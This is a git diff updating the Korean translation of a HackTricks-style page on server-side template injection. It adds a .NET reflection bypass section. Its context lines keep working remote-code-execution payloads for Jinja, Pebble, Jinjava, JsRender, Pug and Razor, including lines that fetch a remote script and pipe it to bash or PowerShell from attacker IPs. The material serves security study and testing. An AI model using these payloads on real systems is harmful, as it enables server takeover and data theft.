diff --git a/src/pentesting-web/ssti-server-side-template-injection/README.md b/src/pentesting-web/ssti-server-side-template-injection/README.md index a6f0f5e20..dc87e0f64 100644 --- a/src/pentesting-web/ssti-server-side-template-injection/README.md +++ b/src/pentesting-web/ssti-server-side-template-injection/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## SSTI (서버 사이드 템플릿 인젝션)란 무엇인가 +## SSTI (서버 측 템플릿 주입)란 무엇인가 -서버 사이드 템플릿 인젝션은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 주입할 수 있을 때 발생하는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다. +서버 측 템플릿 주입은 공격자가 서버에서 실행되는 템플릿에 악성 코드를 주입할 수 있을 때 발생하는 취약점입니다. 이 취약점은 Jinja를 포함한 다양한 기술에서 발견될 수 있습니다. Jinja는 웹 애플리케이션에서 사용되는 인기 있는 템플릿 엔진입니다. Jinja를 사용한 취약한 코드 스니펫을 보여주는 예를 고려해 봅시다: ```python @@ -16,18 +16,18 @@ output = template.render(name=request.args.get('name')) ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` -페이로드 `{{bad-stuff-here}}`가 `name` 매개변수에 주입됩니다. 이 페이로드는 공격자가 무단 코드를 실행하거나 템플릿 엔진을 조작할 수 있게 해주는 Jinja 템플릿 지시어를 포함할 수 있으며, 잠재적으로 서버에 대한 제어를 얻을 수 있습니다. +The payload `{{bad-stuff-here}}`는 `name` 매개변수에 주입됩니다. 이 페이로드는 공격자가 무단 코드를 실행하거나 템플릿 엔진을 조작할 수 있게 해주는 Jinja 템플릿 지시어를 포함할 수 있으며, 잠재적으로 서버에 대한 제어를 얻을 수 있습니다. 서버 측 템플릿 주입 취약점을 방지하기 위해 개발자는 사용자 입력이 템플릿에 삽입되기 전에 적절하게 정리되고 검증되도록 해야 합니다. 입력 검증을 구현하고 컨텍스트 인식 이스케이프 기술을 사용하는 것은 이 취약점의 위험을 완화하는 데 도움이 될 수 있습니다. ### 탐지 -서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 특수 문자 시퀀스 (**`${{<%[%'"}}%\`**)를 템플릿에 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드 간의 차이를 분석하는 것을 포함합니다. 취약점 지표는 다음과 같습니다: +서버 측 템플릿 주입(SSTI)을 탐지하기 위해, 처음에는 **템플릿 퍼징**이 간단한 접근 방식입니다. 이는 템플릿에 특수 문자 시퀀스(**`${{<%[%'"}}%\`**)를 주입하고 서버의 응답에서 일반 데이터와 이 특수 페이로드의 차이를 분석하는 것을 포함합니다. 취약점 지표에는 다음이 포함됩니다: -- 취약점을 드러내는 오류 발생, 잠재적으로 템플릿 엔진을 노출. -- 반사에서 페이로드가 없거나 일부가 누락되어, 서버가 이를 일반 데이터와 다르게 처리함을 암시. +- 취약점을 드러내고 잠재적으로 템플릿 엔진을 노출하는 오류 발생. +- 반사에서 페이로드가 없거나 일부가 누락되어 서버가 이를 일반 데이터와 다르게 처리함을 암시. - **평문 컨텍스트**: 서버가 템플릿 표현식을 평가하는지 확인하여 XSS와 구별 (예: `{{7*7}}`, `${7*7}`). -- **코드 컨텍스트**: 입력 매개변수를 변경하여 취약점을 확인. 예를 들어, `http://vulnerable-website.com/?greeting=data.username`에서 `greeting`을 변경하여 서버의 출력이 동적 또는 고정인지 확인, `greeting=data.username}}hello`가 사용자 이름을 반환하는지 확인. +- **코드 컨텍스트**: 입력 매개변수를 변경하여 취약점을 확인. 예를 들어, `http://vulnerable-website.com/?greeting=data.username`에서 `greeting`을 변경하여 서버의 출력이 동적 또는 고정인지 확인, 예를 들어 `greeting=data.username}}hello`가 사용자 이름을 반환하는지 확인. #### 식별 단계 @@ -37,7 +37,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*35XwCGeYeKYmeaU8rdkSdg.jpeg

-- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요. +- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인할 수 있습니다. ## 도구 @@ -153,9 +153,9 @@ $out.read() - [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Velocity 섹션 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) -### Thymeleaf +### 타임리프 -Thymeleaf에서 SSTI 취약성을 테스트하는 일반적인 방법은 표현식 `${7*7}`이며, 이 템플릿 엔진에도 적용됩니다. 원격 코드 실행 가능성을 위해 다음과 같은 표현식을 사용할 수 있습니다: +타임리프에서 SSTI 취약성을 테스트하는 일반적인 방법은 표현식 `${7*7}`이며, 이 템플릿 엔진에도 적용됩니다. 원격 코드 실행 가능성을 위해 다음과 같은 표현식을 사용할 수 있습니다: - SpringEL: @@ -169,11 +169,11 @@ ${T(java.lang.Runtime).getRuntime().exec('calc')} ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` -Thymeleaf는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _expression inlining_은 다른 템플릿 위치에 대해 지원되며, `[[...]]` 또는 `[(...)]`와 같은 구문을 사용합니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다. +타임리프는 이러한 표현식이 특정 속성 내에 배치되도록 요구합니다. 그러나 _표현식 인라인_은 `[[...]]` 또는 `[(...)]`와 같은 구문을 사용하여 다른 템플릿 위치에 대해 지원됩니다. 따라서 간단한 SSTI 테스트 페이로드는 `[[${7*7}]]`와 같을 수 있습니다. -그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. Thymeleaf의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석으로 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다. +그러나 이 페이로드가 작동할 가능성은 일반적으로 낮습니다. 타임리프의 기본 구성은 동적 템플릿 생성을 지원하지 않으며, 템플릿은 미리 정의되어야 합니다. 개발자는 문자열에서 즉석에서 템플릿을 생성하기 위해 자신의 `TemplateResolver`를 구현해야 하며, 이는 드뭅니다. -Thymeleaf는 또한 _expression preprocessing_을 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 Thymeleaf 문서에서 보여준 바와 같이 표현식 구성에 활용될 수 있습니다: +타임리프는 또한 _표현식 전처리_를 제공하며, 이중 밑줄(`__...__`) 내의 표현식이 전처리됩니다. 이 기능은 타임리프 문서에서 보여준 대로 표현식 구성에 활용될 수 있습니다: ```java #{selection.__${sel.code}__} ``` @@ -257,11 +257,11 @@ el-expression-language.md - `{{ someString.toUPPERCASE() }}` -구버전 Pebble ( < version 3.0.9): +Pebble의 이전 버전 ( < version 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` -새로운 버전의 Pebble: +새로운 Pebble 버전: ```java {% raw %} {% set cmd = 'id' %} @@ -293,7 +293,7 @@ Jinjava는 Hubspot에서 개발한 오픈 소스 프로젝트로, [https://githu **Jinjava - 명령 실행** -[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정되었습니다. +[https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230)에서 수정됨. ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} @@ -364,7 +364,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc - [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) -### Expression Language - EL (Java) +### 표현 언어 - EL (Java) - `${"aaaa"}` - "aaaa" - `${99999+1}` - 100000. @@ -376,9 +376,9 @@ Expression Language (EL)은 JavaEE에서 프레젠테이션 레이어(웹 페이 - **JavaServer Faces (JSF)**: JSF 페이지의 구성 요소를 해당 백엔드 데이터 및 작업에 바인딩하기 위해 EL을 사용합니다. - **JavaServer Pages (JSP)**: JSP 페이지 내에서 데이터에 접근하고 조작하기 위해 JSP에서 EL을 사용하여 페이지 요소를 애플리케이션 데이터에 연결하는 것을 쉽게 만듭니다. -- **Contexts and Dependency Injection for Java EE (CDI)**: EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다. +- **Java EE를 위한 컨텍스트 및 의존성 주입 (CDI)**: EL은 CDI와 통합되어 웹 레이어와 관리되는 빈 간의 원활한 상호작용을 허용하여 보다 일관된 애플리케이션 구조를 보장합니다. -**EL 인터프리터의 악용**에 대해 더 알아보려면 다음 페이지를 확인하세요: +**EL 해석기**의 **악용**에 대해 더 알아보려면 다음 페이지를 확인하세요: {{#ref}} el-expression-language.md @@ -386,7 +386,7 @@ el-expression-language.md ### Groovy (Java) -다음 보안 관리자 우회는 이 [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)에서 가져왔습니다. +다음 보안 관리자 우회는 이 [**작성물**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/)에서 가져왔습니다. ```java //Basic Payload import groovy.*; @@ -415,7 +415,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NHgR25-CMICMhPOaIJzqwQ.jpeg

-- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) +- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요. ## @@ -427,9 +427,9 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1 {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` -**추가 정보** +**더 많은 정보** -- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Smarty 섹션 +- Smarty 섹션은 [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)에서 확인할 수 있습니다. - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) @@ -474,9 +474,9 @@ $output = $twig > render ( array("first_name" => $user.first_name) ); ``` -**추가 정보** +**더 많은 정보** -- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)의 Twig 및 Twig (Sandboxed) 섹션 +- [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) 의 Twig 및 Twig (Sandboxed) 섹션 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) @@ -629,7 +629,7 @@ Hello {NAME}.
### Handlebars (NodeJS) -경로 탐색(Path Traversal) (자세한 정보 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)에서 확인하세요). +경로 탐색 (자세한 정보는 [여기](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)를 참조하세요). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` @@ -660,18 +660,18 @@ curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\": URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` -**추가 정보** +**더 많은 정보** - [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) -| **템플릿** | **설명** | -| ---------- | -------------------------------------- | -| | 출력 평가 및 렌더링 | -| | HTML 인코딩된 출력 평가 및 렌더링 | -| | 주석 | -| 및 | 코드 허용 (기본적으로 비활성화됨) | +| **템플릿** | **설명** | +| ---------- | ------------------------------------ | +| | 출력 평가 및 렌더링 | +| | HTML 인코딩된 출력 평가 및 렌더링 | +| | 주석 | +| 및 | 코드 허용 (기본적으로 비활성화됨) | - \= 49 @@ -683,7 +683,7 @@ URLencoded: ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` -**추가 정보** +**더 많은 정보** - [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) @@ -693,7 +693,7 @@ URLencoded: - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` - `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` -**예시 서버 사이드 렌더** +**예제 서버 사이드 렌더** ```javascript var pugjs = require("pug") home = pugjs.render(injected_page) @@ -757,7 +757,7 @@ range.constructor( - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby) -### Slim (Ruby) +### Slim (루비) - `{ 7 * 7 }` ``` @@ -856,7 +856,7 @@ range.constructor( ``` -[**RCE는**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`에 의존하지 않습니다: +[**RCE는**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`에 의존하지 않음: ```python {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }} {{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }} @@ -887,13 +887,13 @@ ${x} - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako) -### 다른 Python +### 기타 Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

-- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756)에서 확인하세요. +- 더 많은 정보는 [https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756](https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756) ### Razor (.Net) @@ -908,7 +908,7 @@ ${x} - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");` - `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");` -.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 프로세스를 시작하고 웹쉘을 생성하는 데 사용할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 확인할 수 있습니다. +.NET `System.Diagnostics.Process.Start` 메서드는 서버에서 모든 프로세스를 시작하고 웹쉘을 생성하는 데 사용할 수 있습니다. 취약한 웹앱 예제는 [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)에서 찾을 수 있습니다. **더 많은 정보** @@ -924,10 +924,27 @@ ${x} ```xml <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %> ``` -**추가 정보** +**더 많은 정보** - [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp) +### .Net 제한 우회 + +.NET Reflection 메커니즘을 사용하여 블랙리스트를 우회하거나 어셈블리에 클래스가 존재하지 않는 경우를 처리할 수 있습니다. DLL은 기본 객체에서 접근 가능한 메서드와 속성을 사용하여 런타임에 로드될 수 있습니다. + +DLL은 다음과 같이 로드할 수 있습니다: + +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - 파일 시스템에서. +- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - 요청에서 직접. + +전체 명령 실행: +``` +{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))} +``` +**추가 정보** + +- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/) + ### Mojolicious (Perl) 비록 Perl이지만 Ruby의 ERB와 같은 태그를 사용합니다. @@ -950,15 +967,15 @@ Go의 템플릿 엔진에서 사용 확인은 특정 페이로드로 수행할 **XSS Exploitation** -`text/template` 패키지를 사용하면 페이로드를 직접 삽입하여 XSS를 간단하게 수행할 수 있습니다. 반면, `html/template` 패키지는 응답을 인코딩하여 이를 방지합니다 (예: `{{""}}`는 `<script>alert(1)</script>`로 결과가 나옵니다). 그럼에도 불구하고 Go에서 템플릿 정의 및 호출은 이 인코딩을 우회할 수 있습니다: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} +`text/template` 패키지를 사용하면 페이로드를 직접 삽입하여 XSS를 간단하게 수행할 수 있습니다. 반면, `html/template` 패키지는 이를 방지하기 위해 응답을 인코딩합니다 (예: `{{""}}`는 `<script>alert(1)</script>`로 결과가 나옵니다). 그럼에도 불구하고 Go에서 템플릿 정의 및 호출은 이 인코딩을 우회할 수 있습니다: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}} vbnet Copy code **RCE Exploitation** -RCE 취약점은 `html/template`와 `text/template` 간에 상당히 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다. +RCE 취약점은 `html/template`와 `text/template` 간에 크게 다릅니다. `text/template` 모듈은 "call" 값을 사용하여 모든 공개 함수를 직접 호출할 수 있지만, `html/template`에서는 허용되지 않습니다. 이러한 모듈에 대한 문서는 [html/template에 대한 여기](https://golang.org/pkg/html/template/)와 [text/template에 대한 여기](https://golang.org/pkg/text/template/)에서 확인할 수 있습니다. -Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있다면, `{{ .System "ls" }}`와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이: +Go에서 SSTI를 통한 RCE를 위해 객체 메서드를 호출할 수 있습니다. 예를 들어, 제공된 객체에 명령을 실행하는 `System` 메서드가 있는 경우, `{{ .System "ls" }}`와 같이 악용할 수 있습니다. 이를 악용하기 위해서는 일반적으로 소스 코드에 접근해야 합니다, 주어진 예와 같이: ```go func (p Person) Secret (test string) string { out, _ := exec.Command(test).CombinedOutput()